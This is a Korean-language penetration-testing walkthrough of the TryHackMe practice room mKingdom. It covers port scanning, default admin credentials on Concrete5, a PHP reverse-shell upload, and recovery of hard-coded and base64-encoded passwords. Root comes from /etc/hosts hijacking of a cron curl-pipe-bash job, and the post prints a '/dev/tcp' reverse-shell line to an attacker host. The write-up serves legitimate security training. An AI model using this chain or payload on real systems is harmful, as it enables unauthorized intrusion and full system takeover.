Target: mKingdom by TryHackme
Target Ip: 10.10.250.181
Reconnaissance
먼저 타겟 IP를 대상으로 Nmap을 통해 열려 있는 포트에 대한 스캐닝을 수행한다.
포트 스캔 명령어 |
nmap -sT -A -n -Pn 10.10.250.181 |
Nmap 사용 옵션
옵션 | 설명 |
-sT | TCP 연결을 통한 스캔 |
-A | 고급(Advanced or Aggressive) 탐색 모드. OS 및 서비스 버전 정보 탐지 등 |
-n | DNS 해석 생략. 스캔 속도 향상 목적 |
-Pn | Ping 생략. 타겟을 Ping을 통해 확인하지 않고 스캔 강제 수행 |
포트 스캔을 통해 타겟 서버에는 1개의 포트가 열려있는 것을 확인할 수 있고, 해당 포트는 85번 포트에 해당하며 해당 포트에서는 Ubuntu OS 위에서 Apache 웹 서버가 실행 중인 것을 확인할 수 있다.
웹 브라우저를 통해 타겟 서버의 85번 포트로 접속을 시도해보면 위 그림에서 보듯 출력되는 해당 페이지의 경우 아무런 유의미한 정보가 포함되어 있는 않은 것을 확인할 수 있다. 따라서 이후 해당 웹 서버의 디렉토리 구조를 파악하기 위해 gobuster를 사용하여 딕셔너리 기반 디렉토리 무차별 대입 공격을 수행해나간다.
해당 결과는 위 그림에서 확인할 수 있고, 타겟 웹 서버에는 /app 이라는 리소스가 존재하는 것을 확인할 수 있다.
타겟 웹 서버의 /app 리소스에 접근을 시도해보면, 위 그림과 같이 JUMP라는 버튼이 존재하는 것을 확인할 수 있다. 해당 버튼을 클릭하여 어떤 이벤트가 일어나는지 확인해보면, 아래 그림에서와 같이 개발자의 개인 공간으로 리다이렉션 될 것을 암시하는 듯한 알림창이 호출된다.
OK 버튼을 누르면 짐작한 듯이 Toad라는 사용자의 블로그 웹 사이트로 리다이렉션 되는 것을 아래 그림에서 확인할 수 있다.
그리고 브라우저의 기능을 통해 해당 페이지의 클라이언트 측 소스 코드를 확인해보면 아래 그림에서 보듯이, 해당 웹사이트는 concrete5라는 CMS를 사용하고 있으며, 버전의 경우 8.5.2를 사용하고 있는 것을 확인할 수 있다.
해당 웹사이트가 사용하고 있는 Concrete5 - 8.5.2 버전에서 발견된 취약점이 존재하는지 검색을 통해 확인해보면 아래 그림에서와 같이, 원격으로 시스템 명령을 수행할 수 있는 RCE(Remote Code Execution) 취약점이 존재하는 것을 확인할 수 있다. 하지만 아래 그림에서 보듯이, 해당 RCE 취약점은 웹을 통해 파일 관리 기능을 사용할 수 있는 관리자 계정이 필요한 것을 확인할 수 있다. 따라서 먼저 관리자 계정을 알아내고, 해당 계정으로 로그인하는 과정이 필요하다.
Exploit
먼저 로그인 페이지로 이동하기 위해 리다이렉션 된 페이지의 맨 아래에 존재하는 [Log in] 버튼을 눌러 로그인 페이지로 이동한다.
로그인 페이지가 나오면 해당 페이지에 대해 약한 패스워드 정책이 적용되어 있는지, 즉 기본 계정과 유추하기 쉬운 비밀번호를 사용하여 로그인 할 수 있는지 알아보기 위해, 아이디는 admin, 비밀번호는 password를 입력하여 로그인을 시도해본다.
그러면 위 그림에서 확인할 수 있듯이, 기본 계정과 유추하기 쉬운 비밀번호를 통해 관리자 계정으로 로그인할 수 있는 것을 확인할 수 있다. 이후 관리자 대시보드의 기능을 이용하여 공격자와의 Reverse Connection을 위한 웹쉘을 업로드하기 위해 파일 업로드 허용 확장자를 수정해주도록 한다.
System & Settings -> Allowed File Types 탭으로의 이동을 통해 업로드를 허용할 파일 확장자를 수정할 수 있는 페이지에 접근이 가능하다.
아래 그림과 같이 업로드를 허용하는 파일 확장자에 php를 추가하여 역방향 연결을 위한 웹쉘 업로드가 가능하도록 만든다.
이후 PHP 웹쉘 파일을 업로드하기 위해 File Manager 탭 내의 Upload Files의 링크를 클릭하여 파일 업로드 페이지로 이동한다.
업로드 할 웹쉘 파일의 경우, 아래 그림에서 보듯, Kali Linux에 내장되어 있는 간단한 역방향 연결 파일인 php-reverse-shell.php를 사용한다. 그리고 또한 해당 파일을 통해 공격자와의 역방향 연결을 위해선 해당 파일의 내용 중, IP와 PORT 변수를 수정해주어야 하고, IP 변수의 값으로는 공격자의 IP를, PORT의 경우 역방향 연결을 위해 사용할 포트를 지정해준다.
파일을 업로드하고 Close 버튼을 누르면 아래 그림에서와 같이 리버스 쉘 연결 파일의 업로드가 성공한 것을 확인할 수 있다.
해당 파일을 실행하기 전에 먼저 공격자 측에서 이전에 설정한 PORT로 netcat을 통해 Listening을 하고 있도록 한다.
그 후 아래 그림에서와 같이 리버스 쉘 연결 파일이 업로드 된 경로에 접근하여 파일을 실행하도록 한다.
그러면 아래 그림에서와 같이 타겟 웹 서버와의 역방향 연결에 성공하여 타겟 서버의 Shell을 획득한 것을 확인할 수 있다. 하지만 아직 공격자는 해당 시스템에 대해 일반 인터넷 사용자 권한인 www-data이므로, 이후 후속 침투에 제약이 발생한다. 따라서 Linux 시스템에서의 최고 권한 사용자인 root 사용자로 권한을 상승시켜 주도록 한다.
Privilege Escalation
Root 사용자로의 권한 상승을 위해 먼저 Linux 시스템에서의 권한 상승요소들을 확인해주는 linpeas.sh 파일을 다운받고(https://github.com/peass-ng/PEASS-ng/releases), 타겟 서버로 옮기기 위해 공격자 측에서 Python을 통해 웹 서버를 실행한다.
타겟 서버와 연결된 Shell에서 임시 파일이 저장되는 디렉토리인 /tmp로 이동 후, wget을 통해 공격자 웹 서버에 올라와 있는 권한 상승 요소들을 스캔해주는 파일을 다운로드 받는다. 다운로드 받은 후, chmod +x linpeas.sh 를 통해 해당 파일에 실행 권한을 부여하여 실행이 가능하도록 만든다.
./linpeas.sh 를 통해 해당 파일을 실행하면 해당 시스템에서 권한 상승을 위해 필요한 정보들을 획득 할 수 있다.
위 그림을 통해 현재 해당 시스템에서 mario와 toad라는 사용자가 최근에 로그인한 기록이 존재하는 것을 확인할 수 있고, 또한 데이터베이스 연결 설정 파일인, database.php 파일의 경로를 확인할 수 있다.
먼저 database.php 파일의 내용을 확인하여 데이터베이스 연결에 필요한 사용자의 계정 정보가 하드 코딩되어 있는지 확인해본다. 해당 결과는 아래 그림에서 볼 수 있으며, toad라는 사용자의 계정 정보가 하드 코딩되어 평문으로 노출되고 있는 것을 확인할 수 있다.
획득한 계정 정보를 통해 아래 그림에서와 같이 toad 사용자로 로그인을 진행하도록 한다.
toad 사용자로 로그인 후, env 명령어를 통해 해당 사용자에 설정되어 있는 환경 변수의 목록을 출력하여 확인해보면 아래 그림에서 보듯, PWD_token 정보가 존재하는 것을 확인 할 수 있다. 해당 토큰 정보는 계정의 비밀번호 인증에 사용되는 값으로 유추가 되며, toad 사용자의 경우 데이터베이스의 연결 설정 파일에서 계정 정보를 획득할 수 있었고, 해당 토큰 정보는 toad 외의 다른 사용자인 mario 사용자를 인증하는데 쓰이는 비밀번호인 것으로 유추가 된다.
확인을 진행하기 위해 먼저 해당 토큰 값을 디코딩 하여 평문으로 변환을 진행한다. 현재 해당 토큰 값은 =와 같이 패딩 문자를 사용하여 문자열 길이를 4의 배수로 맞춰주는 것으로 보아 base64일 확률이 높아보인다. 따라서 base64 디코딩을 진행하도록 한다.
base64로 디코딩을 진행하면 아래 그림에서 보듯 해당 토큰의 평문 값은 ikaTeNTANtES인 것을 확인할 수 있다.
그 후 얻은 비밀번호 토큰의 정보를 가지고 mario라는 사용자로 로그인을 진행해본다. 그러면 아래 그림에서와 같이 정상적으로 mario 사용자로 로그인할 수 있는 것을 확인할 수 있다.
mario 사용자로 로그인 한 상태에서 linpeas.sh 파일을 사용하여 권한 상승 요소들의 스캔을 진행해주고, 그 결과 mario 사용자의 경우 도메인과 IP 주소의 매핑 정보를 변경할 수 있는 파일인 /etc/hosts 파일에 대해 쓰기 권한을 가지고 있는 것을 확인할 수 있다.
이후 해당 시스템에서 어떠한 프로세스들이 어떠한 권한을 가지고 실행되는지 확인하고, 또한 스케줄링을 통해 자동적으로 실행되는 어떠한 Cron Job들이 존재하는지 확인하기 위해 pspy 스크립트를 사용하여 위 상기한 목적을 달성하도록 한다.
그러기 위해 이전 linpeas.sh에서와 같이 pspy 스크립트를 공격자 서버에 다운로드 하고(https://github.com/DominicBreuker/pspy/releases), Python을 통해 웹 서버 실행 후, 피해자와 연결된 Shell에서 wget을 통해 해당 파일 다운로드 후, chmod +x를 통해 실행 권한 부여 후, 해당 스크립트를 실행하도록 한다.
그러면 아래 결과에서 보듯, 1분마다 정기적으로 /bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash >> /var/log/up.log 라는 명령어가 실행되는 것을 확인할 수 있다. 해당 명령어는 sh라는 쉘을 통해 curl 명령어를 실행하여 mkingdom.thm이라는 호스트의 85번 포트에 업로드되어 있는 counter.sh 파일을 다운로드하고, 다운로드 한 파일을 파이프를 통해 bash 쉘로 전달하여 바로 실행되도록 만든다. 실행 결과의 경우, /var/log 경로 내의 up.log 파일에 추가된다. 그리고 또한 해당 명령어가 1분마다 실행되는데, 실행될 때의 해당 프로세스는 root 권한을 통해 실행되는 것을 UID=0을 통해 확인할 수 있다.
위에서 얻은 정보를 이용해 mkingdom.thm 호스트와 매핑된 IP 주소를 공격자의 IP 주소로 바꾸고, 공격자 측에서 /app/castle/application 경로 내에 counter.sh 파일을 만들고 파일의 내용으로는 Reverse Connection 페이로드를 작성하도록 하여, 타겟 시스템에서 1분마다 위에서 설명한 명령어가 실행될 때, 공격자 서버에 존재하는 역방향 연결 페이로드가 실행되도록 하여 타겟 서버와의 Shell 세션 연결을 만들어내도록 한다.
그러기 위해 먼저 /etc/hosts 파일에 대해 쓰기 권한을 가진 mario사용자를 이용하여 해당 파일의 수정을 진행해나가도록 한다. 먼저 /etc/hosts 파일을 확인해보면, mkingdom.thm 호스트의 경우 127.0.0.1인 로컬 호스트의 IP 주소와 매핑되어 있는 것을 확인할 수 있다.
타겟 서버와의 연결된 Shell에서는 vim, nano를 사용하여 파일의 내용을 수정할 수 없으므로, 아래와 같이 먼저 /etc/hosts 파일에 대한 백업 파일을 /tmp/hosts.bak에 만들고, cat 명령어를 이용하여 /etc/hosts 파일의 mkingdom.thm과의 매핑된 IP 주소를 공격자의 IP 주소로 치환해주도록 한다. 그리고 치환한 결과는 /tmp 경로 내, replace_hosts 라는 이름의 파일로 저장하였다.
/etc/hosts 파일 내용 수정 명령어 |
cat /etc/hosts | sed 's/127\.0\.1\.1\tmkingdom\.thm/10\.4\.97\.210\t\tmkingdom.thm/g' > /tmp/replace_hosts |
호스트와 매핑된 IP 주소를 공격자의 IP로 수정한 후 만들어 진 파일인, /tmp/replace_hosts를 cat /tmp/replace_hosts > /etc/hosts 명령어를 입력하여 /etc/hosts 파일을 덮어씌우도록 한다.
그 후, 공격자 서버로 돌아와, /app/castle/application 디렉토리 생성 후, counter.sh에 리버스 쉘 연결 페이로드를 작성하여 생성하도록 한다.
리버스 쉘 연결 페이로드 |
bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1 |
그 후, 공격자 측에서 리버스 쉘 연결 페이로드에 작성한 포트로 netcat을 통해 Listening을 하고 있는다.
타겟 서버의 경우, mkingdom.thm라는 호스트의 85번 포트에 1분마다 counter.sh 파일 다운로드 요청을 보내고 있으므로, 공격자 측에서 85번 포트로 웹 서버를 실행하도록 한다.
그 후, 조금 기다리면 위에서 보듯 타겟 서버에서 공격자의 85번 포트로 counter.sh 파일에 대해 요청을 보낸 것을 로그 기록을 통해 확인할 수 있고, Listening을 하고 있던 Shell로 돌아가 확인해보면, 타겟과 연결에 성공한 것을 아래 그림에서 확인할 수 있다. 그리고 id 명령어를 통해 해당 사용자의 권한을 확인해보면, root 사용자의 권한을 획득한 것을 확인할 수 있다. 즉 공격자는 위 과정을 통해 root 권한으로 상승이 된 것을 아래 그림에서 확인할 수 있다.
'InfoSec Log > PenTesting' 카테고리의 다른 글
[PenTesting] Skynet Writeup @TryHackMe (0) | 2025.01.07 |
---|---|
[PenTesting] Game Zone Writeup @TryHackMe (1) | 2025.01.05 |
[PenTesting] Lazy Admin 침투테스트 @TryHackMe (1) | 2024.09.27 |
DC1 침투테스트 과정 (0) | 2023.02.19 |
kioptrix level 1.1 침투테스트 과정 (1) | 2023.02.18 |